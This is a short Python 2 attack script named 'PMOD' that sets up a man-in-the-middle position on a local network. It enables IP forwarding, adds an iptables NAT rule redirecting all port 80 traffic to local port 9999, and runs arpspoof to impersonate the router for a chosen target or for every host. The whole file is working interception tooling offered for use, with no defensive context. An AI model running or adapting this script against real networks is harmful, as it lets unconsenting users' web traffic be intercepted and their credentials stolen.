#! /usr/bin/env python

import os, sys

print "************************"
print "PMOD"
print "************************"
router = raw_input("Router IP:")
target = raw_input("Target IP (blank=all):")
print "Setting up PMOD for use..."
print 
print "--MUST BE ROOT."
print 
print "Setting IP Forwarding to true"
res = os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
if(res == 0):
    print "OK"
else:
    print "Error... R U Root?"
    sys.exit(-1)
print "Setting up IP redirect to port 9999 from any port 80"
res = os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 9999")
if(res == 0):
    print "OK"
else:
    print "Error... R U Root?"
    sys.exit(-1)
print "Starting arpspoof..."
if target != "" and target != " ":
    print os.system("arpspoof -t "+target+" "+router)
else:
    print "No Target"
    print os.system("arpspoof "+router)